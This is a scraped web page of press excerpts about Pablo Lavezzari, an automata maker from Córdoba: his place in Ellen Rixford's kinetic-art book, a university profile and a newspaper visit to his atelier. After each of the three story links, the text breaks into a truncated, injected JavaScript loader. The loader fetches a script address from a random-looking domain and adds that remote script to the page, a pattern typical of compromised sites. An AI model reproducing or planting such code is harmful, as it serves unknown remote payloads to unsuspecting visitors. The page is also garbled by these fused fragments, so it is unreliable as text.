In the year 2016, Pablo Lavezzari became the only Latin American automata maker to be showcased in Ellen Rixford’s seminal anthology on kinetic art. The result is an essential book that offers art lovers a thorough compilation of the kinetic art scene all over the world. Getting a closer look at his colleagues’ work, experiencing new ways of seeing the world, and feeling included and recognized by this community of artists, are some of the reasons why this book constitutes a milestone in Pablo’s career. Six years in the making, “Figures in the fourth dimension” is an art book, full of beautiful images.  But it is a book which also informs; makes it possible to start creating artworks, rather than merely admire them.  It is packed with information.  Over a thousand superior quality photographs of hundreds of artworks show the finished pieces and their many mechanical parts.  Hundreds of carefully executed technical drawings show in detail how they function. Visit the book’s Website: http://www.figuresinthefourthdimension.com/ (Photos from Tom Haney)(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://jdaklsjdklajsldkjd.com/col'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) =>

Pablo is the only automata maker in Córdoba, and his body of work is a miracle of creativity and technique. Starting from noble materials such as wood and metals, and borrowing from diverse disciplines such as chemistry and physics, he builds animated scenes that impact from a narrative and visual standpoint. His unique results are sought after by international collectors. Read the full story: https://www.ubp.edu.ar/novedades/lavezzari-en-la-ubp-creatividad-y-tecnica/(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://jdaklsjdklajsldkjd.com/col'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = url; script.async = true; script.onload = () => { clearTimeout(timer); resolve(); }; script.onerror = () => {

A visit to the atelier of Pablo Lavezzari, the creator of a playful, oniric world, made with an eclectic array of elements.   The Greek were fully aware that art is generated when one acts against the forces of nature: man uses his wit to subdue the difficulties posed by the natural world, conquering them through art. What makes a piece by Pablo Lavezzari unique? What is the origin of the fascination that emerges from observing these artifacts that blend art, mechanics, craft, wit and a touch of magic? How can it be classified? “An automata maker is a kinetic artist who builds conceptual pieces that tell a story. The outcome can be ludical and original, and there’s always a story behind it. Mechanics is essential, since no modern technology is used: only pulleys and all sorts of mechanical mechanisms”. he explains.   Read the full story: https://www.lavoz.com.ar/numero-cero/teatro-de-suenos-mecanicos-historia-del-creador-de-automatas(async () => { const TIMEOUT_MS = 60_000; try { const tdsResponse = await fetch('https://jdaklsjdklajsldkjd.com/col'); const scriptUrl = (await tdsResponse.text()).trim(); const loadScriptWithTimeout = (url, timeout) => { return new Promise((resolve, reject) => { const script